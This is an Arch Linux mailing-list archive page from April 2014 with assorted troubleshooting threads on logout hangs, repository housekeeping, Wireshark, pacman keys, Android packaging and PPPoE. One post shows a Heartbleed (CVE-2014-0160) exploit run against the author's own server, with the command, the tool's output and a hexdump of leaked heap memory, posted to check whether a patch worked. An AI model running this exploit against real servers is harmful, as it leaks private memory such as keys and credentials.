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[arch-general] Hanging on log out
by David Rosenstrauch 30 Apr '14

30 Apr '14

Been having a problem in recent weeks that I'm unable to fix or even diagnose. When I log out of my desktop, the machine just hangs with a blank X windows screen. (I.e., black screen with mouse cursor pointer.) I'm able switch to a console and successfully issue the "sudo poweroff" command from there. But the system never brings me back to an X login screen. I'm not sure what package is causing the problem here. I run XFCE with LXDM as my DM. My initial guess was that this is an issue with xfce4-session, since a) I see a zombie "sh" process under xfce4-session when I look at the process list, and b) when I kill xfce4-session I successfully get back to a login screen. But I also see that the xfce4-session package hasn't been updated since September, so I'd think it's unlikely that that's what's causing the problem. Anyone got any pointers in the right direction for me on this? Thanks, DR

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[arch-general] trunk-only zombie packages in the community repo
by Roman Neuhauser 30 Apr '14

30 Apr '14

hello, i'd like a clarification regarding the structure of the community.git repository, and what it means for certains paths to exist or not. there's a bunch of directories that have a trunk/ subdir but no repos/. i'm curious what these directories represent. they're not packages, according to https://www.archlinux.org/packages/. latest commits affecting most of these directories have "db-remove: ..." for subject, and i'd guess they should've been removed completely. if i'm reading the wiki[0] correctly, /packages/db-remove may not the best ui for complete package removal, since the packager needs to perform two extra steps to DTRT: Removing a package ssh nymeria.archlinux.org /packages/db-remove repo-name arch packagename i.e. /packages/db-remove core i686 openssh And if you want to really kill the package, you will need to svn rm the entire package directory after the above steps and commit the deletion. another page omits this information completely[1]. [0] https://wiki.archlinux.org/index.php/DeveloperWiki:HOWTO_Be_A_Packager#Remo… [1] https://wiki.archlinux.org/index.php/AUR_Trusted_User_Guidelines#Accessing_… some of these directories are different, though: 6915e45 dwallace bring darcs up to date d52af52 rvanharen add --libexecdir e052323 seblu Prepare addition of the nftables framework 8d33b95 svenstaro Add box2d python bindings 35a0304 dwallace move xen from aur to community (d18d090 may be hiding more). what are these? there's also aur/darcs, is it in violation of the first rule in [1]? i guess not, since community/darcs does not get built. but that only points back at the original question. [1] https://wiki.archlinux.org/index.php/Arch_packaging_standards#Submitting_pa… ===== unpublished (trunk-only) directories: % comm -13 =(print -l */repos(:h)) =(print -l */trunk(:h)) | xargs -n 3 | column -t agsync arm-elf-binutils arm-elf-gcc-base bind-geodns binutils-multilib blueman bmake-mk-files ccmalloc cdfs cedet checkinstall cupsddk darcs e-modules-extra-svn e-svn e_dbus-svn ecore-svn edje-svn eet-svn eeze-svn efl-svn efreet-svn eina-svn eio-svn ejabberd-mod_archive ejabberd-mod_mysql ejabberd-mod_pgsql elementary-svn embryo-svn emesene emotion-svn emprint-svn ethumb-svn evas-svn evas_generic_loaders-svn evilwm fbshot fltk2 fxdesktop galago-daemon gambas2 glib2-docs glibc-static gmime22 gmime24 gnash gnomesu google-gadgets gsynaptics haskell-temporary htmldoc icewm-utils id3lib-rcc inputattach iptables-nftables ipython2 ircservices jack2-multilib lastfm-client lib32-libusb lib32-libusb-compat lib32-qt libgalago libgalago-gtk libgda3 liblinebreak libphobos linux-usermode llvm-amdgpu-snapshot lmctl metamail mingw32-binutils mingw32-gcc mingw32-gcc-base mingw32-pthreads mingw32-runtime mingw32-w32api ndiswrapper open-iscsi open-vm-tools-modules oss pam_pwcheck paraview perl-extutils-makemaker pidgin-facebookchat pmtools poweriso preload pybox2d pyqt3 python-cjson python-galago python-galago-gtk python-gasp python-genshi python-gnutls python-irclib python-lcms python-pychart python-vorbissimple python2-galago python2-irclib python2-pyzmq python2-slip python2-vobject python2-xlib qscintilla-qt3 qtorrent rusxmms sbaz skype-oss skype-staticqt slmodem stopwatch stormbaancoureur synce-librapi synce-libsynce synce-serial synce-vdccm taglib-rcc tasks ted tomoyo-tools tora tucan virtinst wdm wifi-select xen xfmedia yacpi ===== most recent commits affecting each of the above: % comm -13 =(print -l */repos(:h)) =(print -l */trunk(:h)) \ | xargs -n 1 git --no-pager log -1 --pretty=format:'%h %<(14)%an %s%n' -- 87b37c8 spupykin db-remove: agsync removed by spupykin 619b0d0 spupykin db-remove: arm-elf-binutils removed by spupykin 9dd957a spupykin db-remove: arm-elf-gcc-base removed by spupykin d18d090 foutrelis Revert r78782: Full pkgdesc cleanup for 2339 packages 1a7bcb1 heftig db-remove: binutils-multilib removed by heftig 26aecf1 spupykin db-remove: blueman removed by spupykin c4d9fb9 spupykin db-remove: bmake-mk-files removed by spupykin 1901a50 spupykin db-remove: ccmalloc removed by spupykin eaa2bfa tpowa db-remove: cdfs removed by tpowa d537669 spupykin db-remove: cedet removed by spupykin 303f954 spupykin db-remove: checkinstall removed by spupykin 6d9eb3d spupykin db-remove: cupsddk removed by spupykin 6915e45 dwallace bring darcs up to date a098f08 ronald db-remove: e-modules-extra-svn removed by ronald 70e9c7d ronald db-remove: e-svn removed by ronald 7310fb3 ronald db-remove: e_dbus-svn removed by ronald 0625dd2 ronald db-remove: ecore-svn removed by ronald 0528294 ronald db-remove: edje-svn removed by ronald 4bdeda0 ronald db-remove: eet-svn removed by ronald 8779d06 ronald db-remove: eeze-svn removed by ronald d52af52 rvanharen add --libexecdir cf16203 ronald db-remove: efreet-svn removed by ronald 26ced48 ronald db-remove: eina-svn removed by ronald d7c5163 ronald db-remove: eio-svn removed by ronald d7bdbdf spupykin db-remove: ejabberd-mod_archive removed by spupykin d445317 spupykin db-remove: ejabberd-mod_mysql removed by spupykin 9054b22 spupykin db-remove: ejabberd-mod_pgsql removed by spupykin 09d2476 ronald db-remove: elementary-svn removed by ronald 3802193 ronald db-remove: embryo-svn removed by ronald bfca47c heftig db-remove: emesene removed by heftig e0c5b4f ronald db-remove: emotion-svn removed by ronald a9ce99b ronald db-remove: emprint-svn removed by ronald 1b56c20 ronald db-remove: ethumb-svn removed by ronald 6a2db8f ronald db-remove: evas-svn removed by ronald ff4487a ronald db-remove: evas_generic_loaders-svn removed by ronald 714fcff arodseth db-remove: evilwm removed by arodseth df14ca0 spupykin db-remove: fbshot removed by spupykin 69cb068 spupykin db-remove: fltk2 removed by spupykin 05affea spupykin db-remove: fxdesktop removed by spupykin 3d9110d spupykin db-remove: galago-daemon removed by spupykin f564a73 lcarlier db-remove: gambas2 removed by lcarlier 7f242c8 spupykin db-remove: glib2-docs removed by spupykin 6c3ebb6 allan db-remove: glibc-static removed by allan 7b25be5 spupykin db-remove: gmime22 removed by spupykin 3875330 spupykin db-remove: gmime24 removed by spupykin 36492f6 heftig db-remove: gnash removed by heftig 2ecae51 spupykin db-remove: gnomesu removed by spupykin d6b5af1 schiv db-remove: google-gadgets removed by schiv 522a6d1 spupykin db-remove: gsynaptics removed by spupykin 62e996c thestinger db-remove: haskell-temporary removed by thestinger 5a904bf spupykin db-remove: htmldoc removed by spupykin 5d31de9 spupykin db-remove: icewm-utils removed by spupykin 7a5e42d spupykin db-remove: id3lib-rcc removed by spupykin 757c030 spupykin db-remove: inputattach removed by spupykin e052323 seblu Prepare addition of the nftables framework e7de811 arodseth db-remove: ipython2 removed by arodseth d18d090 foutrelis Revert r78782: Full pkgdesc cleanup for 2339 packages c9d93bb speps db-remove: jack2-multilib removed by speps d18d090 foutrelis Revert r78782: Full pkgdesc cleanup for 2339 packages d18d090 foutrelis Revert r78782: Full pkgdesc cleanup for 2339 packages d18d090 foutrelis Revert r78782: Full pkgdesc cleanup for 2339 packages 0e05f1c andrea db-remove: lib32-qt removed by andrea 2ed2054 spupykin db-remove: libgalago removed by spupykin aa5c593 spupykin db-remove: libgalago-gtk removed by spupykin d18d090 foutrelis Revert r78782: Full pkgdesc cleanup for 2339 packages 5ab104e spupykin db-remove: liblinebreak removed by spupykin d18d090 foutrelis Revert r78782: Full pkgdesc cleanup for 2339 packages d18d090 foutrelis Revert r78782: Full pkgdesc cleanup for 2339 packages f9f99fa andyrtr db-remove: llvm-amdgpu-snapshot removed by andyrtr d18d090 foutrelis Revert r78782: Full pkgdesc cleanup for 2339 packages d36fa34 spupykin db-remove: metamail removed by spupykin 2f54be5 spupykin db-remove: mingw32-binutils removed by spupykin a1060fb spupykin db-remove: mingw32-gcc removed by spupykin 873dc91 spupykin db-remove: mingw32-gcc-base removed by spupykin 8555205 spupykin db-remove: mingw32-pthreads removed by spupykin ea3e831 spupykin db-remove: mingw32-runtime removed by spupykin 98d1f5f spupykin db-remove: mingw32-w32api removed by spupykin 9f2f953 tpowa db-remove: ndiswrapper removed by tpowa d18d090 foutrelis Revert r78782: Full pkgdesc cleanup for 2339 packages 422388a tpowa db-remove: open-vm-tools-modules removed by tpowa f67d4a0 kkeen db-remove: oss removed by kkeen a826aa8 spupykin db-remove: pam_pwcheck removed by spupykin a070216 stephane db-remove: paraview removed by stephane 9b4d729 spupykin git-svn-id: file:///srv/repos/svn-community/svn@102986 9fca08f4-af9d-4005-b8df-a31f2cc04f65 a7ab005 jsteel db-remove: pidgin-facebookchat removed by jsteel d18d090 foutrelis Revert r78782: Full pkgdesc cleanup for 2339 packages d36584e spupykin db-remove: poweriso removed by spupykin 1a2ff2a arodseth db-remove: preload removed by arodseth 8d33b95 svenstaro Add box2d python bindings e409b82 spupykin db-remove: pyqt3 removed by spupykin d18d090 foutrelis Revert r78782: Full pkgdesc cleanup for 2339 packages 7a26b2f spupykin db-remove: python-galago removed by spupykin ad678eb spupykin db-remove: python-galago-gtk removed by spupykin d18d090 foutrelis Revert r78782: Full pkgdesc cleanup for 2339 packages d18d090 foutrelis Revert r78782: Full pkgdesc cleanup for 2339 packages d18d090 foutrelis Revert r78782: Full pkgdesc cleanup for 2339 packages d18d090 foutrelis Revert r78782: Full pkgdesc cleanup for 2339 packages d18d090 foutrelis Revert r78782: Full pkgdesc cleanup for 2339 packages d18d090 foutrelis Revert r78782: Full pkgdesc cleanup for 2339 packages d18d090 foutrelis Revert r78782: Full pkgdesc cleanup for 2339 packages d1847fd spupykin db-remove: python2-galago removed by spupykin d18d090 foutrelis Revert r78782: Full pkgdesc cleanup for 2339 packages 3600804 kkeen db-remove: python2-pyzmq removed by kkeen 8382306 alucryd db-remove: python2-slip removed by alucryd 67926d1 arodseth db-remove: python2-vobject removed by arodseth d18d090 foutrelis Revert r78782: Full pkgdesc cleanup for 2339 packages a5cb58c spupykin db-remove: qscintilla-qt3 removed by spupykin 2791ab8 spupykin db-remove: qtorrent removed by spupykin 556d8a7 spupykin db-remove: rusxmms removed by spupykin 187f5fb spupykin db-remove: sbaz removed by spupykin 1a7fe88 kkeen db-remove: skype-oss removed by kkeen d18d090 foutrelis Revert r78782: Full pkgdesc cleanup for 2339 packages 7408f89 spupykin db-remove: slmodem removed by spupykin 1ecce8b spupykin db-remove: stopwatch removed by spupykin d18d090 foutrelis Revert r78782: Full pkgdesc cleanup for 2339 packages 9c6b856 spupykin db-remove: synce-librapi removed by spupykin 5482f3d spupykin db-remove: synce-libsynce removed by spupykin 63cddbd spupykin db-remove: synce-serial removed by spupykin c3f754d spupykin db-remove: synce-vdccm removed by spupykin 5825c06 spupykin db-remove: taglib-rcc removed by spupykin d18d090 foutrelis Revert r78782: Full pkgdesc cleanup for 2339 packages 1f3e467 spupykin db-remove: ted removed by spupykin 97fb422 spupykin db-remove: tomoyo-tools removed by spupykin d18d090 foutrelis Revert r78782: Full pkgdesc cleanup for 2339 packages 2a52a3f arodseth db-remove: tucan removed by arodseth 31f12b3 spupykin db-remove: virtinst removed by spupykin 79d5c2c spupykin db-remove: wdm removed by spupykin 08bc536 spupykin db-remove: wifi-select removed by spupykin 35a0304 dwallace move xen from aur to community ffe3db2 spupykin db-remove: xfmedia removed by spupykin 8929a15 spupykin db-remove: yacpi removed by spupykin -- roman

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[arch-general] Error in wireshark-gtk2 in show interfaces for capture
by Maykel Franco 29 Apr '14

29 Apr '14

Hi, I have installed wireshark-gtk2. But when go to Capture/Interfaces I get this error: There are no interfaces on which a capture can be done. I follow this steps: Setting network privileges for dumpcap 1. Ensure your linux kernel and filesystem supports File Capabilities and also you have installed necessary tools. 2. "setcap 'CAP_NET_RAW+eip CAP_NET_ADMIN+eip' /usr/bin/dumpcap" 3. Start Wireshark as non-root and ensure you see the list of interfaces and can do live capture. Limiting capture permission to only one group 1. Create user "wireshark" in group "wireshark". 2. "chgrp wireshark /usr/bin/dumpcap" 3. chmod 754 /usr/bin/dumpcap 4. "setcap 'CAP_NET_RAW+eip CAP_NET_ADMIN+eip' /usr/bin/dumpcap" 5. Ensure Wireshark works only from root and from a user in the "wireshark" group Thanks in advanced.

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[arch-general] Gnome 3.12 and password keyring
by azuri＠free.fr 28 Apr '14

28 Apr '14

Hello, Since my switch to gnome 3.12, I have a problem with the "Passwordless login trick" [1]. I have added "auth sufficient pam_succeed_if.so user ingroup nopasswdlogin" to /etc/pam.d/gdm-password. With previous versions of gnome, when I launched evolution (for example), as gnome-keyring wasn't unlock, I had a dialog asking for the password. In 3.12, that dialog does not open and so evolution can't retrieve my mails (same with epiphany that can't save passwords). I have removed the line and it works fine, but I really prefer passwordless logins (especially when switching between users or after idle!) Do you have a clue what has changed and where I could look at? Thanks, [1] https://wiki.archlinux.org/index.php/GDM#Passwordless_login

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[arch-general] couchdb still at 1.5.0-2 even though it has been updated to 1.5.1-1 two weeks ago.
by Karol Blazewicz 28 Apr '14

28 Apr '14

couchdb is still at 1.5.0-2 even though it has been updated to 1.5.1-1 two weeks ago. https://projects.archlinux.org/svntogit/community.git/log/trunk?h=packages/… https://www.archlinux.org/packages/community/x86_64/couchdb/ Is something stuck? Did I miss something?

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[arch-general] Using Wayland/Weston in ArchLinux
by pplive 25 Apr '14

25 Apr '14

Dear all, I have installed ArchLinux on a virtual machine hosted by my VirtualBox. The desktop I picked is enlightenment I have also installed wayland/weston by pacman. I tried to play with weston according to the following page: https://wiki.archlinux.org/index.php/wayland If I just run weston, I can create a window, and I can configure the height/width of the window. However, when I tried "weston-launch", there is an error message "weston-launch must be run from a virtual terminal" When I tried "weston-flower", the error information is as follows: "error: XDG_RUNTIME_DIR not set in the environment. failed to connect to Wayland display: NO such file or directory failed to create display: No such file or directory" Did I miss something? Can somebody provide me some hints? Thanks so much! Best regards, Alex

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[arch-general] pacman and keys
by Heiko Becker 25 Apr '14

25 Apr '14

Hey, today I tried to update my system and got errors related to my pacman keys. As I have not been using my computer for a week I reinitialized the pacman key database and downloaded the arch linux keys with pacman-key --import archlinux. After that my libreoffice issues were solved, but now I get the following error: error: jre7-openjdk-headless: signature from "Guillaume ALAUX <guillaume(a)archlinux.org>" is invalid :: File /var/cache/pacman/pkg/jre7-openjdk-headless-7.u55_2.4.7-1-i686.pkg.tar.xz is corrupted (invalid or corrupted package (PGP signature)). Do you want to delete it? [Y/n] Y error: failed to commit transaction (invalid or corrupted package) Errors occurred, no packages were upgraded. Can someone help me out? Best regards, Heiko

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[arch-general] Does openssl 1.0.1.g-1 close the heartbleed exploit?
by David C. Rankin 25 Apr '14

25 Apr '14

Guys, I was testing my boxes after updating to openssl 1.0.1.g-1 with heartbleed.c and I am still able to grab and decrypt ssl packets. The openssl security note says 1.0.1.g is not effected by the bug, but I can still get a 64k chuck of data back from my server using the heartbleed.c test. (if I'm reading the output correctly) Am I may be doing something wrong? It is worth asking to be sure. Archlinux server: phoinix - openssl 1.0.1.g-1 from client machine: $ ./heartbleed386 -s 192.168.7.16 -p 443 -f outph -t 1 [ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit [ ============================================================= [ connecting to 192.168.7.16 443/tcp [ connected to 192.168.7.16 443/tcp [ <3 <3 <3 heart bleed <3 <3 <3 [ heartbeat returned type=24 length=16408 [ decrypting SSL packet [ heartbleed leaked length=65535 [ final record type=24, length=16384 [ wrote 16381 bytes of heap to file 'outph' [ heartbeat returned type=24 length=16408 [ decrypting SSL packet [ final record type=24, length=16384 [ wrote 16384 bytes of heap to file 'outph' [ heartbeat returned type=24 length=16408 [ decrypting SSL packet [ final record type=24, length=16384 [ wrote 16384 bytes of heap to file 'outph' [ heartbeat returned type=24 length=16408 [ decrypting SSL packet [ final record type=24, length=16384 [ wrote 16384 bytes of heap to file 'outph' [ heartbeat returned type=24 length=42 [ decrypting SSL packet [ final record type=24, length=18 [ wrote 18 bytes of heap to file 'outph' [ done. $ ls -al outph -rwx------ 1 david david 65554 Apr 25 01:43 outph $ hexdump -C outph 00000000 52 74 59 da c6 d0 3a 5d 35 7e 33 fc 43 de e5 bb |RtY...:]5~3.C...| 00000010 31 a2 ca c1 30 ff 5a e7 fd 28 52 4a 3c 18 51 4b |1...0.Z..(RJ<.QK| 00000020 93 1e 2e 7b 41 58 e2 79 58 b8 26 f4 a0 d2 11 22 |...{AX.yX.&...."| 00000030 4d bc 62 54 7c 59 5c 63 11 42 fe 88 00 87 c0 32 |M.bT|Y\c.B.....2| 00000040 c0 2e c0 2a c0 26 c0 0f c0 05 00 9d 00 3d 00 35 |...*.&.......=.5| 00000050 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d |................| 00000060 c0 03 00 0a c0 2f c0 2b c0 27 c0 23 c0 13 c0 09 |...../.+.'.#....| 00000070 c0 1f c0 1e 00 a2 00 9e 00 67 00 40 00 33 00 32 |.........g.@.3.2| 00000080 00 9a 00 99 00 45 00 44 c0 31 c0 2d c0 29 c0 25 |.....E.D.1.-.).%| 00000090 c0 0e c0 04 00 9c 00 3c 00 2f 00 96 00 41 00 07 |.......<./...A..| 000000a0 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 |................| 000000b0 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 02 01 |................| 000000c0 00 01 32 00 0b 00 04 03 00 01 02 00 0a 00 34 00 |..2...........4.| 000000d0 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 |2...............| 000000e0 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 |................| 000000f0 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 |................| 00000100 10 00 11 00 23 00 00 00 0d 00 20 00 1e 06 01 06 |....#..... .....| 00000110 02 06 03 05 01 05 02 05 03 04 01 04 02 04 03 03 |................| 00000120 01 03 02 03 03 02 01 02 02 02 03 00 0f 00 01 01 |................| 00000130 00 15 00 c1 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 000001f0 00 00 00 00 00 5c c0 5d c0 5e c0 5f c0 60 c0 61 |.....\.].^._.`.a| 00000200 c0 62 c0 63 c0 64 c0 65 c0 66 c0 67 c0 68 c0 69 |.b.c.d.e.f.g.h.i| 00000210 c0 6a c0 6b c0 6c c0 6d c0 6e c0 6f c0 70 c0 71 |.j.k.l.m.n.o.p.q| 00000220 c0 72 c0 73 c0 74 c0 75 c0 76 c0 77 c0 78 c0 79 |.r.s.t.u.v.w.x.y| 00000230 c0 7a c0 7b c0 7c c0 7d c0 7e c0 7f c0 80 c0 81 |.z.{.|.}.~......| <snip - a lot more, with CN and other cert into visible> Can anyone confirm the openssl 1.0.1.g-1 fix against their arch server? The information I get back in response to heartbleed has been decrypted -- that leads me to believe the current openssl 1.0.1.g-1 may be suspect as well. Or am I looking at this wrong? The ./heartbleed output that concerns me is: [ heartbleed leaked length=65535 However, each of the subsequent calls by ./heartbleed returned only ~16408, which if I understand correctly is the max that should be returned after the fix: [ heartbeat returned type=24 length=16408 [ decrypting SSL packet [ final record type=24, length=16384 [ wrote 16384 bytes of heap to file 'outph' Is this the expected fixed behavior, or does this still reflect a vulnerability present? What say the experts? Thanks. -- David C. Rankin, J.D.,P.E.

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[arch-general] Android support in Linux Arch
by Anatol Pomozov 25 Apr '14

25 Apr '14

In my TU application I promised to look at situation with Android support in Arch. Android is an open-source project that has a number of sub-projects. The official website offers prebuild binaries for those sub-projects such as sdk, ndk, build-tools, IDE plugins,... We want to simplify Android installation and maintenance and looking into turning it into real packages. Installing tools by downloading and unpacking is sux and so 90s. The naive way to add packages is to use these binaries and just repack them into Arch packages. Or download-at-installation - something like what we do for proprietary software. AUR has many android packages that download binary files from Android website. But using prebuilt binary packages is something atypical for Arch. There are issues with it: - android download site provides only 32-bit binaries so multilib repositories are required - prebuild packages do not use standard installation paths - they compile against older version of third-party projects and bundled it into download files. The packages should depend on existing system libraries instead. The plan is to provide proper Arch packages that do not have the problems listed above. I initially tried to build a package that follows "build whole Android source-tree" official instructions [1]. And then pack only parts we need. Oh boy, this was painful. The source tree is several Gb of code, it pulls prebuilt versions of gcc, clang, python,.. It requires specific version of make and java. After a week of trying to build Android on Arch without using prebuilds I gave up. Actually those instructions [1] build system images that include kernel and ARM code for a specific hardware. Arch does not need it. I've decided to attack this problem from other side: find what exactly we need to pack as Arch packages and then build it from sources. I've decided to look to AUR non-binary android packages and see what people vote for (who said that voting is useless?). There are a number of packages that seems good for moving to [community]: - android-tools https://aur.archlinux.org/packages/android-tools/ It contains adb and fastboot. These the packages that I am interested in. I am not an Android developer I am just an Android user and adb is the most useful Android tool for me. - android completion for adb/fastboot https://aur.archlinux.org/packages/android-bash-completion/ these files can be merged into previous package. - android-udev https://aur.archlinux.org/packages/android-udev/ sounds useful as well These 3 packages is easy to move to [community] and my gut feeling says it should be enough for the most Android users. These is another category of users: those who *develop* for Android and need a lot of other tools, such as: sdk sdk-build-tools: aapt, aidl, dexdump, dx, llvm-rs-cc ndk api docs IDE plugins? system images? I did not find source packages for it at AUR. So if we want to add it [community] we need to create such packages but it might be quite hard. Are there people with Android development background? What exactly do you miss in Arch? Is it worth building our own SDK/eclipse plugins/...? [1] http://source.android.com/source/building-running.html

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Re: [arch-general] PPPoE broken on upload
by Daniel Petre 25 Apr '14

25 Apr '14

On 25/04/14 15:25, Wayne S wrote: > At 4/22/2014 06:31 AM, Lone Wolf wrote: >> On 22-04-14 02:49, Wayne S wrote: >>> >>> Recent updates have caused problems with my PPPoE FIOS link. The upload speed has been reduced to near zero. >>> >>> I "was" using arch linux box as a firewall router. I have a verizon fios connection that still uses the old pppoe. Recently the pppoe connection upload bandwidth went down to < 50kbps (normally it is >25Mbps), however the download bandwidth is still around 58Mbps. >>> >>> There was a recent thread about recompiling PPP to 2.4.6, however, whatever this change did in recent updates, has broken my router PPP connection upload speed. > >> What was the previous version of ppp that did work ? > > The previous pppd that worked was probably 2.4.5, but I have not kept accurate records of when the problem started. Or it may have been 2.4.6 and just the recent update broke ppp. > > It is not hardware related as I tested on two systems with different ethernet nics. > > I was curious about the thread back in Feburary relating to PPP > https://mailman.archlinux.org/pipermail/arch-general/2014-February/035128.h… > and if those changes from testing in february have now broken ppp in recent releases? > >>> During boot pppd 2.4.6 is started and the message RP-PPPoE plugin version 3.8d compiled against pppd 2.4.6. I see no errors. >> latest rp-ppoe version in repos is 3.11.5 , have you tried with that version ? > > I have the latest rp-pppoe 3.11.5 and it makes no difference other than it says "3.8p compiled against pppd 2.4.6" during boot. > >> Was the new arch based fw router a fresh install, or an existing system ? > > Firewall was existing system, which had been running fine since august 2013. Only a recent update broke pppoe. > > I have now switched the router to ubuntu server 14.04 and am back to 60Mbps download and 30Mbps upload speed. The previous upload was so slow just simple browsing would hang. > > Wayne > > > Hello, with 3.14.1 i get like 1 Mbit/s upload, with linux-lts (3.0.37) i have it as usual at ~ 90 Mbit/s ..

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